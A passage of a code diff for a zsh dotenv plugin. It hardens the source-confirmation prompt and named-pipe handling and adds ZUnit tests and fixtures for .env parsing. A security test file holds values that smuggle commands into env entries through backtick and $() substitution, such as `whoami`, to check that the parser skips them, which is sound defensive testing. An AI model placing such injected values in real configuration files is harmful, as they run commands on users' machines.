[[ $column -eq 1 ]] || echo
|
||||
|
||||
# print same-line prompt and output newline character if necessary
|
||||
echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([Y]es/[n]o/[a]lways/n[e]ver) "
|
||||
echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([y]es/[N]o/[a]lways/n[e]ver) "
|
||||
read -k 1 confirmation
|
||||
[[ "$confirmation" = $'\n' ]] || echo
|
||||
|
||||
# check input
|
||||
case "$confirmation" in
|
||||
[nN]) return ;;
|
||||
[yY]) ;;
|
||||
[aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;;
|
||||
[eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;;
|
||||
*) ;; # interpret anything else as a yes
|
||||
*) return ;; # interpret anything else as a no
|
||||
esac
|
||||
fi
|
||||
fi
|
||||
|
||||
# test .env syntax
|
||||
zsh -fn $ZSH_DOTENV_FILE || {
|
||||
echo "dotenv: error when sourcing '$ZSH_DOTENV_FILE' file" >&2
|
||||
return 1
|
||||
}
|
||||
local content
|
||||
if [[ -p "$ZSH_DOTENV_FILE" ]]; then
|
||||
_dotenv_read_limited "$ZSH_DOTENV_FILE" || return 1
|
||||
content="$REPLY"
|
||||
_dotenv_check_syntax "$ZSH_DOTENV_FILE" "$content" || return 1
|
||||
|
||||
setopt localoptions allexport
|
||||
_parse_dotenv_content "$content"
|
||||
return
|
||||
fi
|
||||
|
||||
_dotenv_check_syntax "$ZSH_DOTENV_FILE" || return 1
|
||||
|
||||
setopt localoptions allexport
|
||||
source $ZSH_DOTENV_FILE
|
||||
parse_dotenv "$ZSH_DOTENV_FILE"
|
||||
}
|
||||
|
||||
autoload -U add-zsh-hook
|
||||
|
||||
2
plugins/dotenv/tests/_output/.gitignore
vendored
Normal file
2
plugins/dotenv/tests/_output/.gitignore
vendored
Normal file
@@ -0,0 +1,2 @@
|
||||
*
|
||||
!.gitignore
|
||||
139
plugins/dotenv/tests/_support/bootstrap
Normal file
139
plugins/dotenv/tests/_support/bootstrap
Normal file
@@ -0,0 +1,139 @@
|
||||
#!/usr/bin/env zsh
|
||||
# Bootstrap script for dotenv plugin tests
|
||||
# This is sourced before any tests run and provides shared utilities
|
||||
|
||||
# Load the dotenv plugin
|
||||
source "$PWD/dotenv.plugin.zsh"
|
||||
ZSH_DOTENV_PROMPT=false
|
||||
ZSH_DOTENV_FILE=/dev/null
|
||||
|
||||
# Helper: Parse dotenv file in test mode
|
||||
_parse_dotenv_test() {
|
||||
parse_dotenv "$1" "test"
|
||||
}
|
||||
|
||||
# Helper: Parse dotenv file in export mode
|
||||
_parse_dotenv_export() {
|
||||
unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true
|
||||
|
||||
parse_dotenv "$1" "test"
|
||||
|
||||
for key in "${(k)DOTENV_TEST_VARS}"; do
|
||||
typeset -x "$key"="${DOTENV_TEST_VARS[$key]}"
|
||||
done
|
||||
}
|
||||
|
||||
# Helper: Run parse_dotenv suppressing stderr
|
||||
_parse_dotenv_quiet() {
|
||||
parse_dotenv "$@" 2>/dev/null
|
||||
}
|
||||
|
||||
# Helper: Create a temporary test fixture
|
||||
_create_temp_fixture() {
|
||||
local fixture
|
||||
fixture==(:) # Create temp file
|
||||
echo "$fixture"
|
||||
}
|
||||
|
||||
_write_temp_fixture() {
|
||||
local fixture="$1"
|
||||
> "$fixture"
|
||||
}
|
||||
|
||||
|
||||
# Helper: Source file with allexport and capture variables
|
||||
# Usage: _source_with_allexport "file.env"
|
||||
# Result is in DOTENV_SOURCE_VARS associative array
|
||||
_source_with_allexport() {
|
||||
local filename="$1"
|
||||
|
||||
# Source with allexport in a subshell with no exported variables
|
||||
|
||||
# The return and capture of the exported variables is a bit of a pain:
|
||||
# 1. We first store the key=value pairs in $vars associative array, which is
|
||||
# defined before allexport is set to avoid appearing in results.
|
||||
# 2. Afterwards, we join all keys and values of the associative with null delimiters. With
|
||||
# "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:)
|
||||
# we join them with nulls.
|
||||
# 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain
|
||||
# empty values, and then uses it to populate an associative array.
|
||||
# Don't try to understand this or change it unless you have to. Debugging is a nightmare.
|
||||
typeset -gA DOTENV_SOURCE_VARS
|
||||
DOTENV_SOURCE_VARS=("${(@0)"$(
|
||||
local -A vars
|
||||
|
||||
# Clear all exports first
|
||||
zmodload zsh/parameter
|
||||
unset ${(k)parameters[(R)*export*]} 2>/dev/null || true
|
||||
|
||||
# Source file with allexport
|
||||
setopt localoptions allexport
|
||||
source "$filename"
|
||||
|
||||
# Set all exported variables into an associative array
|
||||
for key in ${(k)parameters[(R)*export*]}; do
|
||||
vars[$key]="${(P)key}"
|
||||
done
|
||||
|
||||
print -rn -- "${(@kvpj:\0:)vars}"
|
||||
)"}")
|
||||
}
|
||||
|
||||
|
||||
## ZUnit assertion helpers
|
||||
|
||||
_zunit_assert_function_exists() {
|
||||
[[ "${+functions[$1]}" -eq 1 ]] && return 0
|
||||
echo "Function '$1' does not exist"
|
||||
exit 1
|
||||
}
|
||||
|
||||
_zunit_assert_var_same_as() {
|
||||
local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset}
|
||||
if [[ $tvalue != $tcomp ]]; then
|
||||
echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)"
|
||||
exit 78
|
||||
fi
|
||||
|
||||
# Special case for associative arrays
|
||||
if [[ ${(Pt)1} == "association" ]]; then
|
||||
local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}")
|
||||
local -aU keys=("${(@k)value}" "${(@k)comparison}")
|
||||
|
||||
local ret=0 key
|
||||
for key in "${keys[@]}"; do
|
||||
# Key match checks
|
||||
if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then
|
||||
echo "'$1[$key]' is set (value='${value[$key]}')"
|
||||
ret=1
|
||||
elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then
|
||||
echo "'$1[$key]' is not set (expected='${comparison[$key]}')"
|
||||
ret=1
|
||||
# Value match checks
|
||||
elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then
|
||||
echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'"
|
||||
ret=1
|
||||
fi
|
||||
done
|
||||
|
||||
exit $ret
|
||||
fi
|
||||
|
||||
# Generic case
|
||||
local value="${(P)1}" comparison="${(P)2}"
|
||||
[[ "$value" != "$comparison" ]] || exit 0
|
||||
echo "'$1' value mismatch: '$value' is not the same as '$comparison'"
|
||||
exit 1
|
||||
}
|
||||
|
||||
_zunit_assert_var_is_set() {
|
||||
[[ -v "$1" ]] && return 0
|
||||
echo "Variable '$1' is not set"
|
||||
exit 1
|
||||
}
|
||||
|
||||
_zunit_assert_var_is_not_set() {
|
||||
[[ ! -v "$1" ]] && return 0
|
||||
echo "Variable '$1' is set"
|
||||
exit 1
|
||||
}
|
||||
88
plugins/dotenv/tests/_support/fixtures/dotenvjs.env
Normal file
88
plugins/dotenv/tests/_support/fixtures/dotenvjs.env
Normal file
@@ -0,0 +1,88 @@
|
||||
# Consolidated dotenv test fixture from dotenv test suite
|
||||
# Source: https://github.com/motdotla/dotenv/tree/master/tests
|
||||
#
|
||||
# Copyright (c) 2015, Scott Motte
|
||||
# All rights reserved.
|
||||
|
||||
# Redistribution and use in source and binary forms, with or without
|
||||
# modification, are permitted provided that the following conditions are met:
|
||||
|
||||
# * Redistributions of source code must retain the above copyright notice, this
|
||||
# list of conditions and the following disclaimer.
|
||||
|
||||
# * Redistributions in binary form must reproduce the above copyright notice,
|
||||
# this list of conditions and the following disclaimer in the documentation
|
||||
# and/or other materials provided with the distribution.
|
||||
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
# Basic assignments
|
||||
BASIC=basic
|
||||
|
||||
# previous line intentionally left blank
|
||||
AFTER_LINE=after_line
|
||||
|
||||
# Empty values
|
||||
EMPTY=
|
||||
EMPTY_SINGLE_QUOTES=''
|
||||
EMPTY_DOUBLE_QUOTES=""
|
||||
|
||||
# Single quotes (literal, no expansion)
|
||||
SINGLE_QUOTES='single_quotes'
|
||||
SINGLE_QUOTES_SPACED=' single quotes '
|
||||
DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
|
||||
|
||||
# Double quotes (with escapes)
|
||||
DOUBLE_QUOTES="double_quotes"
|
||||
DOUBLE_QUOTES_SPACED=" double quotes "
|
||||
EXPAND_NEWLINES="expand\nnew\nlines"
|
||||
|
||||
# Unquoted (no escape expansion)
|
||||
DONT_EXPAND_UNQUOTED=dontexpand\nnewlines
|
||||
|
||||
# Quotes inside quotes
|
||||
DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
|
||||
SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
|
||||
|
||||
# Comments
|
||||
# COMMENTS=work
|
||||
INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
|
||||
INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
|
||||
INLINE_COMMENTS_UNQUOTED=value # work
|
||||
|
||||
# Special characters
|
||||
EQUAL_SIGNS=equals==
|
||||
RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
|
||||
USEREMAIL=therealnerdybeast@example.tld
|
||||
|
||||
# Multiline values with double quotes
|
||||
MULTI_DOUBLE_QUOTED="THIS
|
||||
IS
|
||||
A
|
||||
MULTILINE
|
||||
STRING"
|
||||
|
||||
# Multiline values with single quotes
|
||||
MULTI_SINGLE_QUOTED='THIS
|
||||
IS
|
||||
A
|
||||
MULTILINE
|
||||
STRING'
|
||||
|
||||
# Multiline PEM certificate
|
||||
MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
|
||||
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
|
||||
LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
|
||||
bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
|
||||
kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
|
||||
u4QuUoobAgMBAAE=
|
||||
-----END PUBLIC KEY-----"
|
||||
23
plugins/dotenv/tests/_support/fixtures/features.env
Normal file
23
plugins/dotenv/tests/_support/fixtures/features.env
Normal file
@@ -0,0 +1,23 @@
|
||||
# Export syntax
|
||||
export EXPORTED_VAR=exported_value
|
||||
export EXPORTED_EMPTY=
|
||||
|
||||
# Variable expansion (in-file forward references)
|
||||
BASE_URL=https://api.example.com
|
||||
API_ENDPOINT="${BASE_URL}/v1"
|
||||
FULL_ENDPOINT=$BASE_URL/v2/users
|
||||
COMBINED="${BASE_URL}_suffix"
|
||||
|
||||
# Testing multiline quoting edge cases
|
||||
MULTILINE_UNQUOTED=This\ is\ a\ \
|
||||
multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline
|
||||
MULTILINE_DOUBLE_QUOTED="This is a \
|
||||
multiline value that should be treated as a single line with an actual newline character"
|
||||
MULTILINE_SINGLE_QUOTED='This is a \
|
||||
multiline value that should be treated as a single line with a literal backslash and newline'
|
||||
MULTILINE_MIXED_QUOTES="This is a \
|
||||
multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside"
|
||||
|
||||
# Test for regressions
|
||||
DATABASE_URL="postgres://user:pass@host/db;sslmode=require"
|
||||
VAR_WITH_SEMICOLONS="value ; with ; semicolons"
|
||||
398
plugins/dotenv/tests/basic-parsing.zunit
Normal file
398
plugins/dotenv/tests/basic-parsing.zunit
Normal file
@@ -0,0 +1,398 @@
|
||||
#!/usr/bin/env zunit
|
||||
|
||||
|
||||
@setup {
|
||||
typeset -g fixture="$(_create_temp_fixture)"
|
||||
typeset -gA expected_vars=()
|
||||
}
|
||||
|
||||
@teardown {
|
||||
[[ -f "$fixture" ]] && command rm -f "$fixture"
|
||||
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
|
||||
}
|
||||
|
||||
@test 'dotenv plugin loads successfully' {
|
||||
assert "parse_dotenv" function_exists
|
||||
assert "source_env" function_exists
|
||||
}
|
||||
|
||||
@test 'parse returns error for unsupported mode' {
|
||||
run _parse_dotenv_quiet "/dev/null" "export"
|
||||
assert $state equals 0
|
||||
|
||||
run _parse_dotenv_quiet "/dev/null" "test"
|
||||
assert $state equals 0
|
||||
|
||||
run _parse_dotenv_quiet "/dev/null" "invalid_mode"
|
||||
assert $state equals 1
|
||||
}
|
||||
|
||||
@test 'parse returns error for oversized file (> 10MiB)' {
|
||||
command truncate -s 11M "$fixture" 2>/dev/null
|
||||
|
||||
run _parse_dotenv_quiet "$fixture" "test"
|
||||
assert $state equals 1
|
||||
}
|
||||
|
||||
@test 'parse returns error for non-existent file' {
|
||||
run _parse_dotenv_quiet "/nonexistent/path/.env" "test"
|
||||
assert $state equals 1
|
||||
}
|
||||
|
||||
@test 'source_env loads named pipes without blocking' {
|
||||
local tmpdir fifo output result
|
||||
local child_pid writer_pid killer_pid child_rc
|
||||
|
||||
tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")"
|
||||
fifo="$tmpdir/.env"
|
||||
output="$tmpdir/output"
|
||||
command mkfifo "$fifo"
|
||||
|
||||
(
|
||||
print -r -- 'TOKEN=secret' > "$fifo"
|
||||
) &
|
||||
writer_pid=$!
|
||||
|
||||
(
|
||||
ZSH_DOTENV_PROMPT=false
|
||||
ZSH_DOTENV_FILE="$fifo"
|
||||
source_env
|
||||
print -r -- "${TOKEN-<unset>}" > "$output"
|
||||
) &
|
||||
child_pid=$!
|
||||
|
||||
(
|
||||
sleep 2
|
||||
kill -0 $child_pid 2>/dev/null || exit 0
|
||||
kill $child_pid 2>/dev/null || exit 0
|
||||
) &
|
||||
killer_pid=$!
|
||||
|
||||
wait $child_pid
|
||||
child_rc=$?
|
||||
|
||||
kill $killer_pid 2>/dev/null || true
|
||||
kill $writer_pid 2>/dev/null || true
|
||||
wait $writer_pid 2>/dev/null || true
|
||||
|
||||
[[ -f "$output" ]] && result="$(<"$output")"
|
||||
command rm -rf "$tmpdir"
|
||||
|
||||
assert $child_rc equals 0
|
||||
assert "$result" equals 'secret'
|
||||
}
|
||||
|
||||
@test 'source_env rejects oversized named pipes' {
|
||||
run zsh -fc '
|
||||
source ./dotenv.plugin.zsh
|
||||
|
||||
tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" || exit 1
|
||||
fifo="$tmpdir/.env"
|
||||
command mkfifo "$fifo" || exit 1
|
||||
|
||||
cleanup() {
|
||||
kill $killer_pid 2>/dev/null || true
|
||||
kill $writer_pid 2>/dev/null || true
|
||||
wait $writer_pid 2>/dev/null || true
|
||||
command rm -rf "$tmpdir"
|
||||
}
|
||||
trap cleanup EXIT
|
||||
|
||||
(
|
||||
{
|
||||
print -rn -- "BIG="
|
||||
command dd if=/dev/zero bs=10485761 count=1 2>/dev/null | tr "\0" a
|
||||
} > "$fifo"
|
||||
) &
|
||||
writer_pid=$!
|
||||
|
||||
(
|
||||
sleep 2
|
||||
kill -0 $$ 2>/dev/null || exit 0
|
||||
kill $$ 2>/dev/null || exit 0
|
||||
) &
|
||||
killer_pid=$!
|
||||
|
||||
ZSH_DOTENV_PROMPT=false
|
||||
ZSH_DOTENV_FILE="$fifo"
|
||||
source_env >/dev/null 2>&1
|
||||
'
|
||||
|
||||
assert $state equals 1
|
||||
}
|
||||
|
||||
@test 'parse basic variable assignment' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Basic assignments
|
||||
BASIC=basic
|
||||
|
||||
# previous line intentionally left blank
|
||||
AFTER_LINE=after_line
|
||||
EOF
|
||||
|
||||
expected_vars=(
|
||||
BASIC 'basic'
|
||||
AFTER_LINE 'after_line'
|
||||
)
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'parse empty values' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Empty values
|
||||
EMPTY=
|
||||
EMPTY_SINGLE_QUOTES=''
|
||||
EMPTY_DOUBLE_QUOTES=""
|
||||
EOF
|
||||
|
||||
expected_vars=(
|
||||
EMPTY ''
|
||||
EMPTY_SINGLE_QUOTES ''
|
||||
EMPTY_DOUBLE_QUOTES ''
|
||||
)
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'parse single quoted values' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Single quotes (literal, no expansion)
|
||||
SINGLE_QUOTES='single_quotes'
|
||||
SINGLE_QUOTES_SPACED=' single quotes '
|
||||
DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
|
||||
EOF
|
||||
|
||||
expected_vars=(
|
||||
SINGLE_QUOTES 'single_quotes'
|
||||
SINGLE_QUOTES_SPACED ' single quotes '
|
||||
DONT_EXPAND_SQUOTED 'dontexpand\nnewlines'
|
||||
)
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'parse double quoted values' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Double quotes (with escapes)
|
||||
DOUBLE_QUOTES="double_quotes"
|
||||
DOUBLE_QUOTES_SPACED=" double quotes "
|
||||
EXPAND_NEWLINES="expand\nnew\nlines"
|
||||
EOF
|
||||
|
||||
expected_vars=(
|
||||
DOUBLE_QUOTES 'double_quotes'
|
||||
DOUBLE_QUOTES_SPACED ' double quotes '
|
||||
EXPAND_NEWLINES "expand\nnew\nlines"
|
||||
)
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'parse unquoted values' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Unquoted (no escape expansion)
|
||||
DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines
|
||||
EOF
|
||||
|
||||
|
||||
expected_vars=(
|
||||
DONT_EXPAND_UNQUOTED 'dontexpandnnewlines'
|
||||
)
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'parse quotes inside quotes' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Quotes inside quotes
|
||||
DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
|
||||
SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
|
||||
EOF
|
||||
|
||||
expected_vars=(
|
||||
DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes'
|
||||
SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes"
|
||||
)
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'parse inline comments' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Comments
|
||||
# COMMENTS=work
|
||||
INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
|
||||
INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
|
||||
INLINE_COMMENTS_UNQUOTED=value # work
|
||||
EOF
|
||||
|
||||
expected_vars=(
|
||||
INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes'
|
||||
INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes'
|
||||
INLINE_COMMENTS_UNQUOTED 'value'
|
||||
)
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'parse ignores non-assignment commands with assignment-looking arguments' {
|
||||
> "$fixture" <<'EOF'
|
||||
print SHOULD_NOT_PARSE=value
|
||||
EOF
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'parse special characters' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Special characters
|
||||
EQUAL_SIGNS=equals==
|
||||
RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
|
||||
USEREMAIL=therealnerdybeast@example.tld
|
||||
EOF
|
||||
|
||||
expected_vars=(
|
||||
EQUAL_SIGNS 'equals=='
|
||||
RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}'
|
||||
USEREMAIL 'therealnerdybeast@example.tld'
|
||||
)
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'parse multiline values with mixed quotes' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Multiline values with double quotes
|
||||
MULTI_DOUBLE_QUOTED="THIS
|
||||
IS
|
||||
A
|
||||
MULTILINE
|
||||
STRING"
|
||||
|
||||
|
||||
# Multiline values with single quotes
|
||||
MULTI_SINGLE_QUOTED='THIS
|
||||
IS
|
||||
A
|
||||
MULTILINE
|
||||
STRING'
|
||||
|
||||
# Multiline PEM certificate
|
||||
MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
|
||||
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
|
||||
LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
|
||||
bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
|
||||
kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
|
||||
u4QuUoobAgMBAAE=
|
||||
-----END PUBLIC KEY-----"
|
||||
EOF
|
||||
|
||||
expected_vars=(
|
||||
MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
|
||||
MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
|
||||
MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----'
|
||||
)
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'parse export syntax' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Exported variables
|
||||
export EXPORTED_VAR=exported_value
|
||||
export EXPORTED_EMPTY=
|
||||
EOF
|
||||
|
||||
expected_vars=(
|
||||
EXPORTED_VAR 'exported_value'
|
||||
EXPORTED_EMPTY ''
|
||||
)
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'parse in-file variable expansion' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Variable expansion (in-file forward references)
|
||||
BASE_URL=https://api.example.com
|
||||
API_ENDPOINT="${BASE_URL}/v1"
|
||||
FULL_ENDPOINT=$BASE_URL/v2/users
|
||||
COMBINED="${BASE_URL}_suffix"
|
||||
EOF
|
||||
|
||||
expected_vars=(
|
||||
BASE_URL 'https://api.example.com'
|
||||
API_ENDPOINT 'https://api.example.com/v1'
|
||||
FULL_ENDPOINT 'https://api.example.com/v2/users'
|
||||
COMBINED 'https://api.example.com_suffix'
|
||||
)
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'parse in-file variable expansion prefers the longest matching variable name' {
|
||||
> "$fixture" <<'EOF'
|
||||
A=1
|
||||
ABC=2
|
||||
X=$ABC
|
||||
Y=${ABC}
|
||||
Z=$ABCD
|
||||
EOF
|
||||
|
||||
expected_vars=(
|
||||
A '1'
|
||||
ABC '2'
|
||||
X '2'
|
||||
Y '2'
|
||||
Z ''
|
||||
)
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'parse preserves escaped dollar signs before variable expansion' {
|
||||
> "$fixture" <<'EOF'
|
||||
BAR=expanded
|
||||
ESCAPED_UNQUOTED=foo\$BAR
|
||||
ESCAPED_DOUBLE="foo\$BAR"
|
||||
ESCAPED_BRACED="\${BAR}"
|
||||
EOF
|
||||
|
||||
expected_vars=(
|
||||
BAR 'expanded'
|
||||
ESCAPED_UNQUOTED 'foo$BAR'
|
||||
ESCAPED_DOUBLE 'foo$BAR'
|
||||
ESCAPED_BRACED '${BAR}'
|
||||
)
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
27
plugins/dotenv/tests/compatibility.zunit
Normal file
27
plugins/dotenv/tests/compatibility.zunit
Normal file
@@ -0,0 +1,27 @@
|
||||
#!/usr/bin/env zunit
|
||||
|
||||
@setup {
|
||||
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
|
||||
}
|
||||
|
||||
@teardown {
|
||||
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
|
||||
}
|
||||
|
||||
@test 'compatibility: dotenvjs fixture matches native source' {
|
||||
local fixture="${testdir:A}/_support/fixtures/dotenvjs.env"
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
_source_with_allexport "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
|
||||
}
|
||||
|
||||
@test 'compatibility: features fixture matches native source' {
|
||||
local fixture="${testdir:A}/_support/fixtures/features.env"
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
_source_with_allexport "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
|
||||
}
|
||||
209
plugins/dotenv/tests/security.zunit
Normal file
209
plugins/dotenv/tests/security.zunit
Normal file
@@ -0,0 +1,209 @@
|
||||
#!/usr/bin/env zunit
|
||||
|
||||
@setup {
|
||||
typeset -g fixture="$(_create_temp_fixture)"
|
||||
typeset -gA expected_vars=()
|
||||
}
|
||||
|
||||
@teardown {
|
||||
[[ -f "$fixture" ]] && command rm -f "$fixture"
|
||||
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
|
||||
}
|
||||
|
||||
@test 'skip dangerous backtick command substitution' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Should be skipped
|
||||
DANGEROUS_BACKTICK=`whoami`
|
||||
EOF
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'skip dangerous subshell command substitution' {
|
||||
> "$fixture" <<'EOF'
|
||||
# Should be skipped
|
||||
DANGEROUS_SUBSHELL=$(date)
|
||||
EOF
|
||||
|
||||
_parse_dotenv_test "$fixture"
|
||||
|
||||
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||
}
|
||||
|
||||
@test 'skip nested command substitution in double quotes' {
|
||||
